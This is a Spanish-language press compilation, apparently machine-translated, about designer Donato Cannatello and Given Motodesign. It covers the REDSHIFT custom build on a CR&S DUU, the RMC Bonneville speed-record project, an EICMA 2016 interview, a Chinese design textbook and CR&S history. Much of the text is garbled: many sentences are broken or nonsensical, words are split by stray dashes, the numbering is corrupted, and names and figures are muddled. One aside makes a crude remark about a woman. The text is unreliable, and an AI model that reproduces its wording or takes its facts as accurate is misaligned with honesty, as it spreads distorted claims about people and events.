PRENSA
Súper Especial N ° 14
pasado 4 De julio en el garaje Milán Dada Motodesign se presentó CORRIMIENTO AL ROJO, Una moto personalizada CR base de su&S LLEVA. Todos sabemos CR&S y sus trabajos sobre dos ruedas, todos recordamos el Urtin con su potente bicilíndrico, una motocicleta "hecho a mano, su corazón, en Milán ", diseñado para la producción en masa pero que sigue siendo altamente artesanal y lleno de carácter, especial ya en origen y hecho aún más especial por un equipo de expertos en diseño.
Para descubrir todos los secretos de esta motocicleta, decidimos entrevistar a Donato Cannatello., ex diseñador principal en CR&S e ora líder del equipo Given.
Somos recibidos calurosamente en el Atelier amueblado con amor donde nació REDSHIFT. Vamos a conversar en la entreplanta donde podemos ver todo el taller y los muchachos del equipo en el trabajo..
- En primer lugar, como nació la realidad de Given Motodesign?
Given nació básicamente después de mi experiencia en motocicletas en algunas compañías como CR&S, Incomparable, Aprilia y otros.
Preferí abrir mi propio espacio y centrarme en una empresa que pudiera dar espacio a mis ideas.. Así nació dado que no es más que la transposición al inglés de mi nombre "Donato".
Aquí trato de aprovechar al máximo mis experiencias, desde el concepto y el diseño hasta el trabajo en el taller ... porque en empresas pequeñas y hermosas como CR&S, donde estábamos 10, obviamente, usted se encarga del diseño, pero también tiene que ir al taller para ensamblar y verificar todos los pasos ... y, por lo tanto, tuve una experiencia de 360 ° del desarrollo de la motocicleta.
periódico de coches
En cuanto a la moto, No se puede saber la marca. Mucho menos si es bueno o no para conducir. Pero una cosa es cierta: Como él o no motocicletas, es imposible permanecer indiferente a la máquina a medida para Dados, una pequeña empresa de diseño con sede en Milán, en Italia. Es allí que el brasileño Luiz "Calvo" Mingione está trabajando, dando forma física para el diseñador italiano Donato proyectos informáticos Cannatello.
Bajo las nuevas formas de bicicleta, existe CR&S Lleva. Un CR&S era un fabricante artesanal que nació en 1992 en Milán. El acrónimo de "corredores y superbikes de café". Duu significa dos en dialecto Milanese, y designa el motor 2.000 cm3. El modelo fue lanzado en el Salón Moto de Milán (EICMA) en 2009. según Mingione, cada unidad vendida por 40 mil euros.
Función es la de dar forma a proyectos
La función de conformación es Mingione en fibra de vidrio y aluminio, y realizar impresiones en 3D, para dar forma a las ideas creadas por Cannatello. El diseñador llegó a trabajar en su propio CR&S e na Aprilia, entre otros fabricantes de motocicletas.
Como no solamente fueron producidos 100 unidades modelo y ahora la marca no está funcionando, cualquier bicicleta CR&S sería suficiente exclusiva. sin embargo, siempre hay clientes que quieren más exclusivo pero. Este es el caso del propietario de esa unidad. Mingione informa que fue hecho para un holandés que tiene restaurantes en Italia y Nueva Zelanda. debida atención al cliente 24 mil euros (aproximadamente R $ 110 mil). El precio incluye el proyecto, prototipado, piezas y mano de obra. El trabajo se llevó seis meses.
También trabajó en un CR&De S (una, en dialecto milanés), el segundo modelo de la marca italiana. En ese caso, el motor tiene 650 cm3.
Una vez que la moto está lista, Brasileña camina con ella para ver si todo está en orden. Mingione es un piloto con experiencia, que me 2002 Ganó el París-Dakar, en la categoría de hasta 250 cm3.
ahora, él dice que está empezando a trabajar en un nuevo proyecto, un SV Suzuki 650, producido en 1999. "La moto no vale más que mil euros (R $ 4.500), pero el dueño gastará alrededor 6 mil euros (R $ 27 mil) hacer algo único ", dice.
Dice que el primer paso es desmontar completamente la moto para personalizar. entonces, la imagen es pintada y recibirá las nuevas piezas, un proceso que toma alrededor de cuatro meses, dependiendo de la complejidad.
Mingione trabaja por proyecto. Teniendo en cuenta que está en hace un año, y tiene la intención de seguir allí hasta la llegada del fin de año.
Dice que decidió probar la vida en Milán porque los padres de su esposa tuvieron restaurante de la ciudad. Antes de eso, sin embargo, Mingione pasó por varios países.
Moldear la arcilla aprendido en Honda ayudó
Se unió a Honda en Brasil 1993. Entre 98 mi 99, después de la puesta en marcha de Honda Biz, donde trabajó en el primer prototipo, Se realizó una pasantía en la sede de la compañía, en el Japón. hay, Aprendió cómo construir prototipos con arcilla, una especie de arcilla industrial, empleado en la construcción de modelos.
Después de salir de la marca japonesa, en 2006, Pasó un mes en China, por invitación del empresario. El objetivo fue seleccionar posibles marcas de motocicletas que podrían ser vendidos en Brasil.
Esta gira de "más 30 empresas”, venían al venir al país, un Irán, que se cerró en 2013.
En la secuencia, Mingione era para Ford en Turquía, que se situó 2015 un 2016, trabajar con la arcilla en el desarrollo de camiones de interior.
en 2017, Volvió a China. Era como entrenador de un consultor (United Motors), empresa colombiana con sede en Estados Unidos, Tenía la intención de convertir al país en una motocicleta. Después de eso, Se dirigió a Milán, donde desea quedarse hasta el final del próximo año.
"Hay que barrer planta de producción muy"
Que sueña de seguir el mismo camino, Mingione alerta a las dificultades: "Motocicleta india para aquellos que les gusta y quieren aprender cosas nuevas, tendencia, la tecnología y el desarrollo de materiales ", dice. "Sin embargo, para un principiante que no es fácil. Tienes que rallar y barriendo mucho planta de producción ".
Todo eso, claro, cuestiones legales fuera (visa de trabajo) y la comunicación. El idioma puede ser una barrera, dependiendo del país elegido. En cuanto a la compensación, Mingione estima que en Italia un principiante recibirá entre 600 mi 800 euros al mes (R $ 2.700 un R $ 3.600).
CORRIMIENTO AL ROJO DUU – La contribución de los diseñadores en la personalización de motocicletas
El motociclismo es una actividad en la que convergen armoniosamente diferentes aspectos del diseño, el principal es encontrar una solución técnica al problema. “funcionalidad de transporte”. Los fabricantes buscan constantemente para optimizar el rendimiento en todas sus variantes, el objetivo es hacer que el más eficaz y capaz de resolver los problemas de los usuarios hablando también en el estilo destacando el componente emocional del medio. La emoción es el elemento primario, para los motociclistas a su alrededor mientras que compiten con sus medios tiene un aspecto completamente diferente, disfrutar de una auténtica y directo contacto con todo lo. Ellos son consumidores activos, vivir la escena de la calle en lugar de buscar, lo que sienten es una pasión abrumadora que puede hacer sentir la emoción de una total libertad. La siguiente tesis incluye un estudio de la experiencia de trabajo de personalización de una motocicleta CR&S LLEVA, el cliente en cuestión es una entidad privada cuya aplicación es de, a partir de
una base existente, hacer único el medio de la adición de componentes que sería capaz de mejorar el aspecto estético de hacer tangible
los deseos del cliente. Gracias a la fuerte pasión
accumuna que el diseñador y el cliente se ha creado
un vínculo de empatía, que admisibles prescritas
motodesign para satisfacer plenamente la nece
–
sidad del consumidor, hacer una base clásica
una verdadera pieza de coleccionista. Accomu
–
nacida de esta fuerte sensación, sólo el EMPA
–
tia ha hecho de la comunicación con el cliente muy
sencillo y eficaz, permitiendo a los diseñadores
para entender las necesidades del cliente y de inmediato,
incluso en algunos casos, para anticipar. en este
Permet por lo que se favorece el trabajo en equipo se
–
Tiendo también al cliente a participar en
proyecto de dar información inmediata sobre la
estudios y prototipos realizados.
A través de las tecnologías disponibles, GIVEN
motodesign ha sido capaz de realizar una mez
–
zo que tenía un fuerte componente industrial
manteniendo al mismo tiempo una huella de artesanía
encontrado en algunos procesos, dicha firma
–
ture y la flexión de las placas de aluminio
hecho a mano por el equipo. El diálogo permanente entre los diferentes
sectores ha llevado a la creación de un producto
eso sería expresar el carácter del dueño, orilla
–
Landone su identidad y su propio ser.
FANTASMA
Roberto A VA Boneville
El navegador del Multivan las nueve y se detuvo frente a la puerta cerrada de una granja. el coche. En el patio de una anciana ya se sabe lo que va a ser la pregunta que a su vez. Antes de mí más allá de la puerta gris oyó las mismas palabras de Graziano Rossi, Marco Belli, Makoto Tamada.
"Y, Esta dirección es a través de Ca 'Nine uno, pero dieron el mismo nombre a una calle de la zona industrial cerca de aquí. Usted tiene que volver a Verona. En el semáforo gire a la izquierda y en la primera rotonda girar a la derecha ".
Apago el navegante alemán y nos basamos en Google Map. El teléfono inteligente Diego, en diez minutos nos lleva a la puerta principal de la In-Motion. Gianna nos recibe en la oficina. El aire acondicionado grita, como si fuera, y fuera hay cuarenta grados. A través del cristal, en el cobertizo, HRC y Minolta marcas que conocen MotoGP. A lo largo de la pared de una fila de tanques de colores con la marca Zaeta. La muchacha con el azul de las polainas paquetes en cajas rodea Kineo listo para ser enviado. Un buen culo….
Roberto nos dio una cita aquí, la granja de Julio Bernardelle, para hacer fotografías que cuentan la primera entrega de este proyecto loco. Multitudes como son los proyectos que unen a los hombres cerca de las pasiones. Roberto Crepaldi María sessantino es un hijo del arte. A los diecisiete años acompañó a los clientes del concesionario de su padre a recoger el coche Enzo Ferrari. A través de los años ha ayudado a llevar a Italia la marca Jaguar, Aston Martin, Triunph, Harley Davidson e Husquarna. en 1993 Fundó el equipo de CR&S Britten e con la Britten V 1000 Ha participado en tres ediciones de la Tourist Trophy.
hoy, con la marca RMC, Ciclos de registro de motor, Trabaja para ir en el lago de sal de Boneville y batir el récord de velocidad de bloqueo o cuatrocientos de veinte-de tres km / h.
Mientras Diego prepara cuerpos de cámara y lentes, El equipo de Roberto cumple gradualmente. Ugo Torri es un empresario y un conductor caballero con una pasión por la velocidad y hermosas motocicletas. Giulio Bernardelle es el responsable técnico del proyecto. Ganó dos del mundo con Valentino Rossi y Roberto Locatelli, Fue director técnico del equipo Pramac Honda y Konica Minolta Honda en MotoGP. Donato Cannatello es el diseñador responsable del cuerpo aerodinámico de la motocicleta. Dario Marchetti corrió en la pista y en la carretera, en el mundo, en superbike, nell'endurance, un Suzuka e Macao. En Estados Unidos ya ha ganado en Daytona y el lago de sal de Boneville casi tumbado en RMC para ejecutar más de cuatrocientos por hora hacia el registro.
Los chicos de In-Motion llevan a cabo de la arrojar el prototipo de la RMC. El equipo se reúne alrededor de la motocicleta. Diego comenzó a tomar.
Imagine una tarde de invierno, un hombre se sienta en su escritorio, Tiene frente a una hoja en blanco sobre la que se va a empezar a hacer la primera, excitado, marcas de lápiz mediante la adopción de la forma a la semblanza de su sueño, De dos ruedas, con una marca de su propia, que ciertamente no ocultar los ambiciosos objetivos que se desea alcanzar, Ciclos de registro de motor.
Este hombre se llama Roberto Crepaldi María, y los sueños sobre dos ruedas ya ha realizado varias. Se nace profesionalmente en el entorno de las cuatro ruedas, y comenzó a trabajar con su padre, Ferrari era distribuidor. de, joven, por lo que será capaz de acercarse a una persona importante para su formación y que los sueños ambiciosos dieron cuenta de que va a ser mucho, Enzo Ferrari.
Después de la experiencia en la industria automotriz, donde va de Ferrari para Aston Martin Jaguar, Roberto se dedica a su pasión, motocicletas, y no se detiene en mero placer para guiarlos. A principios de los 80 participantes en el relanzamiento en Italia de tres marcas muy famosas como Harley Davidson, Triunfo y Husquarna. en 1993 funda el equipo de CR&S, caferac es & Superbikes y se encuentra con otra persona importante, El neozelandés John Britten, un entusiasta de la motocicleta arquitecto que diseñó y construyó en su garaje es una bicicleta de carreras que lleva
su apellido. motor V-Twin 1000 cc con el ciclismo ingenioso y soluciones innovadoras, Britten se ejecuta en la categoría recién formado B.E.A.R.S (reservado para los prototipos de los gemelos de movimiento y tricilindriche no japonés) y el equipo de CR&S se convierte en el punto de referencia en Europa y la Britten V1000 participa en numerosos concursos internacionales tituladas, incluyendo 3 Isla de Man Tourist Trophy y ganó el Campeonato B.E.A.R.S. Series Mundiales.
Robert y John son muy buenos amigos, Ellos tienen ideas y objetivos comunes compartidos y también tienen mucha pasión, vestida con tanta energía, Se le permite alcanzar estos ambiciosos logros técnicos y deportivos. ¿Cuántas historias hermoso y móviles, Esto también por desgracia experimentar un terrible momento, en septiembre 1995, Como un mal mal implacable quita John, justo 45 edad. Roberto y equipo CR&S volver en el Tourist Trophy 1996, dispersado en esa isla mágica en el Mar de Irlanda, donde todo comenzó unos años antes, y Shaun Harris conducir, la Britten V1000 pasa por debajo de la bandera de la ajedrez TT superior, una gran satisfacción para recordar y honrar a su constructor con otro gran sello de deportes que inextricablemente vincula la asociación ganadora vino de las antípodas, y que todavía nos sorprenden y nos excitan en el futuro ... No se equivoque.
en 2002 Roberto se convierte en un constructor y CR marca&S tiene dos movimiento interesante y original, el solo cilindro CR&S DE nel 2005 y el gemelo CR&S duu en 2009.
Volvamos a la hoja de papel, Unos minutos más tarde, White tiene mucho más recientemente. Roberto, que incluso este tiene las ideas muy claras, además de haber trazado de las líneas de la moto que nacerán, También se tiene en cuenta la formación que va a transformar ese proyecto, antes de perfeccionar y luego materializar, la creación de un producto único y terriblemente rápido, lo suficientemente rápido para cumplir con la marca que llevará al tanque en un intento de establecer un nuevo récord de velocidad, en lugar de dos, el lago de sal de Boneville.
El equipo debe ser coherente y eficaz, a causa del trabajo que hacer allí habrá una gran cantidad y hay que hacerlo bien, muy bien. Para que Roberto se unió por Hugo Torres, empresario, gran amante de las dos ruedas y logros ambiciosos que va a ser mucho, Ugo es el Director del Proyecto RMC.
Para la parte técnica del proyecto y las responsabilidades ejecutivas de esta fascinante aventura es tomada por el ingeniero Giulio Bernardelle, con amplia experiencia en las carreras tanto en motores de dos tiempos, contribuir a los títulos mundiales de Roberto Locatelli y Valentino Rossi montar la Aprilia 125 mi 250 cc, es donde los motores son de cuatro tiempos de MotoGP pasó en.
La aerodinámica es otro capítulo de importancia fundamental para vencer el registro actual, Boneville que para la categoría aerodinámico parcialmente, parcialmente expuesto carenada con piloto, donde nuestro han decidido probar suerte, es 423 km / h. y, has leído bien son quattrocentoventitrè km / h, y las líneas de motocicletas serán administrados y ejecutados por Donato Cannatello, Dado el titular, empresa dinámica especializada en el estudio de prototipos e implementación de cuerpo complejo.
Incluso en la elección del piloto Roberto demuestra una vez más para manejar lo que realmente. El que va a soportar la carga, y el honor, para girar el acelerador se llama Darío Marchetti, conductor profesional de la carrera de treinta años, Dario ha competido en muchos caminos y senderos del mundo más importante y fascinante, de Daytona Macao recoger muchos éxitos. Durante una agradable charla Darío me dice: "Sai, el hecho de que me eligieron a mí no sólo me llena de orgullo, Estoy emocionado y muy honrado de ser parte de este equipo, Roberto lo soy conocido desde hace mucho tiempo y lo respeto mucho, Somos amigos y yo corrimos por él hace unos años, a la derecha en la fantástica moto llamada Britten V1000 equipo CR&S”. todo de nuevo, por arte de magia, con pasiones y emociones que se encuentran y entrelazan. "Entonces", continúa, "Para mi larga carrera, faltando sólo dos cosas, un intento de grabar y el Trofeo Isla de Turismo de hombre al que he tenido que tomar parte en los años 80, pero para este último ya es demasiado tarde ".
gran Darío, Ahora pensamos en el registro, y luego para el TT – entendida como vuelta de honor – tal vez usted puede hacer algo …pero por el momento no revelamos nada y seguimos centrados en Bonneville.
Completando el equipo de Media Manager Riccardo Capacchione, periodista profesional y un probador activo para muchas revistas y Raffaele Canepa, fotógrafo, y director que llevó a cabo la función Productor de Medios.
El proyecto es muy interesante y técnicamente muy intrigante. Un marco con estructura mixta será la sede del motor de aspiración natural 8 cilindros, muy compacto, posicionado longitudinalmente. Los desplazamientos de 2000cc serán para "Espíritu Rojo", que rinde homenaje a la inmensa cultura del motociclismo italiano, durante muchos años el punto de referencia absoluto para todas las otras naciones, y 2500 cc para "Homenaje a John Britten" en honor a este personaje brillante, con pocos recursos, asistida por un puñado de técnicos amigos, Se ha creado una de las mejores motocicletas de carreras jamás existido, el sellado de la fuerte unión entre John y velocidad. en 1993 un torpedo motorizado Britten V1000 conquistó el récord mundial en el cuarto de milla y la milla con salida parada y el kilómetro lanzado.
El se está trabajando y enviado en un rato oímos el sonido de este poderoso motor que tendrá una capacidad de más de 400 Cavalli. Es comenzó la cuenta regresiva para la semana de la velocidad de Boneville 2017. Ghost tendrá el placer y el honor de decir todas las etapas evolutivas de esta hermosa y emocionante aventura.
Gracias Steve y gracias a todo el equipo de RMC. enfoques Bonneville, encendemos los motores!!!
texto: Pier Giuseppe Ortalda
foto: Diego Mola
MOTO.IT
Invertir este orden: lo que está leyendo es el comentario y que querrá de ti lectores escribirá debajo del artículo real en la pantalla especial y personalizada en EICMA 2016: Me pongo fuera de la periodística y dentro directamente en el alboroto salvaje de opinión personal, antipatía / simpatía algo así como la personalización, y sus múltiples facetas, que por definición es un lugar de enfrentamiento entre formas opuestas de la vida y el motociclismo asintótica, por lo que pido a todos a considerar estas líneas un mero comentario: El artículo genuino que escribirá los lectores dispuestos.
...
Para tratar de orientarme en los cientos de faros que me hizo un guiño persuasiva, y para aprender más, dejé seducir por el stand de Motodesign Dado que expone entre otros una - Curiosamente, en mi opinión - Especial para La Nación Kawasaki ZRX 1100 (llamado "cogida") en colaboración con Officine Riunite Milanesi, lo que me intrigó montones de discos poligonales, Para garantizar un funcionamiento riguroso que ha establecido el mismo proveedor, el legendario Enrico mismo Discacciati!
Donato Cannatello (Donato-Dado ... entendido?), Dada la experiencia del propietario y el diseño en CR&S, Incomparable, lucha, Aprilia, Fue paciente, y el intercambio de una charla conmigo me ha expuesto su punto de vista sobre EICMA 2016 y el futuro de la personalización.
Para poner dada y opiniones informaron de Donato, Añadimos que se ocupa de ambos para proporcionar un servicio de planificación y diseño para los que quieren construir un prototipo (desde el concepto de pre-serie que conducen a la producción), tanto los particulares que lo soliciten "marco de" proyectos en sus motocicletas.
"Por extraño que parezca, tuvimos mucha retroalimentación de ZRX que el Urtin, tanto expuesto en nuestro stand, a pesar Urtin es, sin duda, un diseño más refinado y ZRX medio mucho más barato, pero es evidente que la mayoría de los "colector del ojo"».
Y ¿cómo calificaría el nivel del espectáculo dentro personalizada y especial?
"El nivel de EICMA, si nos limitamos a la costumbre y especial, parece mucho mayor y madura que hace unos años: Del artiginali realidades, que aún producir resultados excepcionales, Estamos cambiando a un enfoque más maduro tanto en el diseño de ingeniería de las partes. Desde el punto de vista de la motocicleta, en vez, Me encantó la Harley "OPERA" Sur Garaje, muy elegante; También ganó el concurso, pero como usted sabe el concurso virtualmente ellos ganar un poco de todo (Donato se refiere a la gran cantidad de categorías y no se nota muy numerosos del editor de la participación); la esquina personalizado en lugar parecía un poco 'moderado, poco espacio y descentralizado que el centro vital de la Exposición, y esto parece un poco 'contrario a la intuición: es la parte más desafiante, en cambio, muchos no lo visitaron porque no sabían que estaba en la esquina del pabellón 2; También es cierto que hay un público que no está realmente interesado en la costumbre, Ellos son los que tienen la V-Strom con el tronco detrás, pero también hay muchos aficionados reales que prefieren ver una pieza tocho lugar aun no han logrado encontrar nosotros ».
Sul futuro del personalización? Donato no tiene dudas:
"El avance, Creo, es muy claro en el pasado: en el diseño de un especial que ha pasado de ser el resto de la bici en el banco e improvisar, para hacerlo primero, como en nuestro caso, una representación y digitalización en 3D, luego trabajar directamente en el ordenador, y los lados registro de mano, en la hoja o simplemente impreso en 3D; Personalización del futuro del mercado no lo ve en las habilidades de los diseñadores, porque hoy todo el mundo puede tener un ordenador y poner a un niño a través de diseñar e implementar una impresora 3D, pero creo que esto será dictada por factores legales, como el cumplimiento de los estándares de homologación y la evolución del estilo y las tendencias: hay que ver cuánto tiempo este fenómeno personalización muy Artiginale, Creo que lo hecho a mano podría muy bien ser reemplazado en un futuro cercano por una personalización más diseñada, diseñado y desarrollado más ».
Una ultima pregunta: porque los neumáticos de mosaico en una bicicleta de carretera? (De acuerdo, yo sé, es mi cruzada personal ...)
«Fue una elección del cliente ... pero debo decir que si no fuera por esta petición, el "Maialona" ZRX que no habría dibujado como ves, entender el concepto de apoyo a los músculos abdominales y no las partes inferiores del tanque, lo que parece una solución .... "Mejor". Tal vez sin los neumáticos de tacos hubiéramos hecho un movimiento menos angular, más redondo ".
Les dejo la galería de motos, con admiración por todos los expositores del sector personalizado y especial que ciertamente no están allí para un retorno económico inmediato, pero que a menudo invierten tiempo y dinero invadidos por la pasión de mover siempre un poco más el listón de la excelencia y la locura.
técnicas de estudio y diseño
técnicas de estudio y diseño
Publicado en China, con una circulación de 75.000 copia, para su uso como un manual técnico en la Facultad de Ingeniería de China, volumen que "Estudio técnico y Diseño" es el tercero de una exitosa serie de manuales técnicos escritos por el profesor prolífica. piedra Wen.
En Interior describe algunos procesos de producción adaptados de nosotros, tomándolos por ejemplo para jóvenes estudiantes chinos.
La publicación de este libro fue una experiencia muy agradable e interesante.
resumen
Temperatura solamente era、Chenzhen Yi、Su Bolin、Enrico Leonardo Fagone、Donato Cannatello editó la "fuente de diseño de producto y un gran avance" desde el punto、línea、superficie、A partir corporal，Para rastrear el origen de la forma del producto，Los puntos de partida para comenzar de nuevo，Exploramos la posibilidad de interpretación de los ricos estilo，Para ayudar a los lectores de diseño de la diálisis naturaleza。Este libro presenta seis método de modelado，4Una etapa de modelado，3Productos Tips unidad，Proporciona un método práctico y eficaz de modelado para el lector que participan en el trabajo de diseño。Por superficie de forma libre，híbrido propuesto、Encerrado y la acción de pensar tres tipos de técnicas de modelado，Proporciona soluciones específicas para el lector para controlar el modelado de formas libres superficie dificultad。Este libro pretende dar forma a la inercia psicológica，5 grupos propuesto método de modelado de la inercia psicológica y Revelación，Para el lector para romper las limitaciones de su propio estilo，En el mundo de la moda más rica abre una ventana。El libro entrevistó a varios de los mejores diseñadores europeos，visitas de campo a una serie de empresas de diseño de Italia，Proporcionar a los lectores con un nuevo diseño de la información de primera mano，A través de un análisis en profundidad de estos casos de diseño，Podemos ayudar al lector a comprender estos excelentes diseñadores métodos de diseño y un excelente proceso de modelado de casos de diseño，Ayuda a los lectores la visión de diseño y mejorar el nivel de estética del lector。
Resumen entrevista:
1un. La forma de las motos ha sufrido grandes cambios desde que su emergente. ¿Qué opinas podrían ser los factores que intervienen en este proceso de cambio?
No estoy de acuerdo en su totalidad.
El alma de las motos se ha mantenido sin cambios sustanciales en más de cien años.
Y esto es confirmado por algunos modelos actualmente en producción que reinterpretan el estilo de motos clásicas, ya que recuerdan la esencia de motos; dos ruedas, un motor, vibraciones y emociones.
Los cambios en las formas y estilos que inevitablemente siguieron en el tiempo dependen de mi opinión sobre la 4 razones: técnica, Moda, la evolución cultural y las carreras.
Por el primero 80 años nos hemos centrado principalmente en la evolución técnica, la producción de máquinas que tenían como objetivo más de enything otra cosa a la perfección y el rendimiento.
En el último 20 años en lugar del desarrollo de los elementos más interesantes de la técnica y de carreras detuvo, dejando a la evolución de la moto a los únicos aspectos socio / culturales.
A día de hoy estos aspectos son predominantes en la producción de motocicletas y generan nostalgia, absurdo, modelos detallados futuristas o hiper.
.1segundo. ¿De qué manera la forma de motos europeas podría evolucionar en el futuro?
diseño europeo, tales como el diseño oriental y occidental, se especializará siguientes exigencias específicas; forma siempre se define por el lugar donde comienza la producción.
A pesar de la inevitable contaminación cultural, La producción europea siempre apuntará a una moto que sea funcional y apasionado, un perfecto equilibrio entre las características de conducción y estéticas, diversión y utilidad. Todo para ir junto con nuestro propio territorio, tan desigual, con un paisaje muy variable, carreteras con curvas y pendientes pronunciadas.
Dado que la producción estadounidense se dedica a sus llanuras sin fin y carreteras largas y rectas, y al mismo tiempo de producción oriental tiende a seguir los mercados, ciudades y calle abarrotado de productos muy funcionales y racionales.
- Cada excelente diseño motos se caracteriza por su estilo único, transmitir a los clientes emociones y connotaciones especiales. Como diseñador, ¿cómo ilustrar la personalidad de la moto utilizando el lenguaje de formas ?
En diseño de la motocicleta, y más generalmente en el diseño industrial, los volúmenes son la característica principal, el primero en transmitir un mensaje al cliente.
Mirando algo en contra de la luz, uno puede sentir de inmediato su carácter: si se transmite la energía, ligereza, velocidad, elegancia o cualquier otra cosa.
Lo mismo sucede en la naturaleza, discernir en la oscuridad de un pit-bull de un caniche sólo de su contorno.
- el diseño de la moto tiene que tomar en consideración muchas partes, tales como el chasis, el motor y el tubo de escape y así sucesivamente. Parece complicado y abrumador para los principiantes. ¿Tiene alguna sugerencia sobre cómo equilibrar la piel (las partes que cubren) con la estructura para lograr una unificación perfecta?
Depende: estamos dibujando en una hoja blanca o estamos trabajando en algo?
En general, el diseño debe ser lo primero, antes de tubos de escape, antes de que el marco y antes de que el motor. Diseño tiene que ser la primera aproximación a un proyecto de motocicleta. Mecánica A continuación, siga las directrices de diseño con adaptación recíproca.
Si el enfoque de diseño sigue la planificación (como ocurre en restyling), a continuación, algunos puntos fijos tienen que ser decidido a fin de proceder libremente con todo el resto. Para los objetos técnicos, como una moto, no puede haber una regla fácil: partes que son mecánicamente interesante o bien hecho no tienen que ser cubiertos, pero dejó a la vista. Si es posible, es preferible a rediseñar una parte técnica que no es satisfactoria y que sea parte del diseño, en lugar de que lo cubre.
Sin embargo una cosa fundamental que hay en nuestro diseño, el punto de vista de una moto nunca está perfectamente lateral de la moto, pero se coloca más alto; No vamos a hacer a continuación, sólo el diseño de una hermosa vista lateral, a menudo una buena proporción de los volúmenes laterales / superiores es más importante que la vista lateral.
- En un cierto punto, la vista en perspectiva, la luz y la sombra de una moto es más difícil de controlar que las de un coche. ¿Cómo podemos conseguir un mejor control en el dibujo de la moto? ¿Nos podría mostrar el proceso de dibujo de una motocicleta( mediante el uso 6 dibujos para explicar las etapas de estiramiento). Para los jóvenes estudiantes, ¿Cómo mejorar las habilidades de dibujo.
Teniendo en cuenta las dificultades de diseño de la motocicleta, podemos interpretarlo como un diseño de niveles múltiples.
1Un primer nivel, visión global, un segundo nivel, más detallado, un tercer nivel, aún más detallada, y así. El primer nivel es el más importante, lo que el cliente obtiene a primera vista, lo que transmite el placer o la diversión de un objeto.
Yo trabajo siguiendo esta regla.
A partir de la visión de conjunto (volúmenes generales) y luego seguir con la definición de más detalles particulares: la cola, El frente, el marco, etc.. hasta los tornillos.
- Las motos y los coches son todos los vehículos de transporte y el diseño del formulario de ambos están conectados de forma natural. Entonces, qué, Tu crees, que distingue a cada una de ellas?
Históricamente, el uso y función de los coches y motos siempre han sido diferentes y por lo tanto también el diseño respectivo.
Ahora están cruzando, evolución en todas las direcciones.
Coches usados para el transporte tienen como función primaria, mientras que las bicicletas estaban más vinculados a la idea de la forma (divertido, gusto, velocidad).
Hoy en día el mercado tiende a llenar cualquier vacío, y por lo tanto tenemos los coches que son la forma pura y motos que son función pura.
Para motos este cambio es ya consolidado en el mercado (es decir, scooter), Si bien esta nueva tendencia de los coches todavía no es predominante, e intereses de un nicho más pequeño del mercado; pero estoy seguro de que pronto vamos a ver los coches con el motor a plena vista, “Desnudo”, como motos.
- En el presente, muchas nuevas tecnologías, tales como fibra de carbono y LED, se aplican a la fabricación de motos. ¿De qué manera estas nuevas tecnologías afectarán el diseño del formulario de motos?
Las nuevas tecnologías siempre han influido en el diseño como parte fundamental de su proceso de desarrollo.
Personalmente la principal contribución que he recibido y apreciado a partir de tecnologías modernas ha estado en números de producción.
Hoy en día es más fácil construir una pequeña serie de motos gracias a las nuevas tecnologías como la fibra de carbono, LED, máquinas de control numérico, prototipos y nuevos materiales.
Por ejemplo, prototipos y fresado CNC aplican a los materiales modernos nos permiten tener una pieza única ABS, sin la necesidad de moldeo por inyección caros y difíciles; además, gracias a los sellos de silicio, podemos construir pequeñas series de copias en poliuretano con bajos costos.
faros también polyelliptical (aún mejor con la tecnología LED) contribuido a superar los límites de la industrialización. Pueden ser escondidos en un carenado de plexiglás transparente, darles forma y sin la necesidad de homologar una nueva luz, ya que era necesario antes.
Y, finalmente, los laminados de carbono y, en general, nos liberan de los límites estructurales de plástico, con mejoras estéticas mecánicas y no sólo.
- Algunos de los diseños de motos superiores son completados por la artesanía. ¿Cómo es el valor de la moto se expresa por la artesanía tradicional?
Me gusta y siempre he sido partidario del trabajo hecho a mano..
En la motocicleta obra de diseño es sustancialmente modelado de la arcilla y el nivel de detalle es alto, pero requiere tiempo y recursos económicos para el proceso de ingeniería inversa necesaria para transformar todo en forma digital.
Yo prefiero usar los medios digitales que están a nuestra disposición, evitando el paso analógica, para simplificar y acelerar el proceso creativo.
JINETES 08 2009
En un Milán cada vez cont el coeur en el hombre, Afortunadamente todavía hay alguien que construye motocicletas con el corazón y las manos.
Una a una, con gran cuidado y pasión. Las historias de impulso y tantos hombres que han sido contadas, pero esta es la historia de una idea.
Una historia sencilla, pero especial en su pequeña.
Si dos ruedas mueven el alma, el valor de algunos amigos logró llevar una marca de motocicletas en Milán. Una larga sombra de la Virgen estaban operando marcas como Bianchi, Miller-Balsamo, Iso Moto, Parilla, Guazzoni, Innocenti. Paton y Peppino Pattoni, el último GP en el constructor privado para luchar contra los gigantes japoneses, con los cuatro cilindros verdes.
hoy, la ciudad de la moda, a la motocicleta corte en la medida en que exista CR&S. Vista desde fuera, su sede es un pequeño cobertizo al igual que muchos otros en la zona industrial de Settimo Milanese. Excepto por una cosa, motocicletas alineados fuera: parecerse, pero no son idénticos. Son un poco solo cilindro’ café racer, algunos’ tamaño de bolsillo desnuda. Se llaman Vun. ellos Idea. Las personas que han llevado a cabo el trabajo bajo el mismo techo, como partes de la misma motocicleta. La tienda está en la planta baja, las paredes están cubiertas por los carteles de la Bol d'Or, Tourist Trophy y Assen. El departamento de diseño y el papeleo está en el entrepiso de diseño abierto (más bien, Spasi AVERT), dominada por la superbike carenado sinuosa Britten V 1000. Roberto Crepaldi se encuentra justo en frente. Fue él quien fundó los corredores Cafe & superbikes en 1992, después de dejar el número uno se abrió con Carlo Talamo y Max Brun. Al año siguiente, conoció a John Britten, el brillante ingeniero neozelandés famoso por su V 1000. Él demasiado rápido en la búsqueda de una idea. dejar que Britten, apoyada en Europa por CR&S, se exhibe en competiciones de todo el mundo, hasta la desaparición de la misma Britten. Utilizando la experiencia de empresario en el seguro de automóviles (Había sido concesionario de Ferrari, Jaguar E Aston Martin), Crepaldi se inspira en un proyecto de las carreras de un solo cilindro del último John, Monoplaza, con la relación de peso y de potencia igual a uno. Uno. de, en dialecto milanés… John Cabassi y Giorgio Sarti son amigos, empresarios, Bicicletas gratis en pensadores 2002 Han flanqueado Crepaldi en CR&S. Dos años después de Roberto Pattoni, hijo Peppino y propietario de Paton, convertirse en socios del CR&S como técnico responsable del desarrollo. La elección del motor es el Rotax Bombardier 650, apreciado en las BMW F gracias a su fiabilidad calle y orientada . Concebido como un mono de carreras, El Vun demuestra un animal para mixto cerca, También excelente para el uso en la ciudad . El diseño combina las líneas clásicas de los tubos del cuadro a cuerpo de aluminio moderna, líneas elegantes y soluciones tecnológicas. Cada artículo es adaptable, perchéil conductor puede experimentar el placer de elegir Vun construir sus propios componentes y pintura. Al final de 2006 comienza la producción de series, en unas pocas 